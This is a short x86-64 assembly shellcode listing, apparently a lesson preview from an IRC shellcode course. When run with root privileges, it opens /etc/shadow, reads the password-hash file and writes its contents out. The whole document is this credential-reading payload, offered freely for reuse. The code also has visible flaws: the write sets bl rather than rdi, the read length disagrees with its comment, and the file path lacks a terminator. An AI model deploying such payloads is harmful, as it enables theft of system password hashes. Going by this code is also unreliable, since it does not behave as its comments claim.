the 64bit shellcode lesson preview

;
; part of my shellcode for noobs lesson series hosted in #goatzzz on irc.enigmagroup.org
;
; ----------------------------------------------------------------------------
; "THE BEER-WARE LICENSE" (Revision 43):
; <[email protected]> wrote this file. As long as you retain this notice you
; can do whatever you want with this stuff. If we meet some day, and you think
; this stuff is worth it, you can buy me a beer in return Aaron R. Yool
; ----------------------------------------------------------------------------
; 64bit call: rax args: rdi, rsi, rdx, r10,  r8, and r9

[bits 64]
section .text
global _start
_start:
; getuid16(void);
    xor rax,rax
    mov al,0x66
    syscall
    xor rdi,rdi
    sub rax,rdi
    jnz exit
; open("/etc/shadow", O_RDONLY);
    xor rax,rax
    mov al,0x2
    jmp short shadow

load_shadow:
    pop rdi
    xor rsi,rsi
    syscall
; read(%rax, %rsp, 0xffff);
    mov rdi,rax
    push rdi
    xor rax,rax
    mov rsi, rsp
    xor rdx,rdx
    mov dx,0xfff
    syscall
; write(1, %rsp, %rax)
    mov rdx,rax
    xor rax,rax
    mov al,0x1
    xor rdi,rdi
    mov bl,0x1
    syscall
; close(%rdi)
    xor rax,rax
    mov al,0x3
    pop rdi
    syscall

exit:
; exit(0);
    xor rax,rax
    mov al,0x3c
    xor rdi,rdi
    syscall


shadow:
    call load_shadow
    db "/etc/shadow"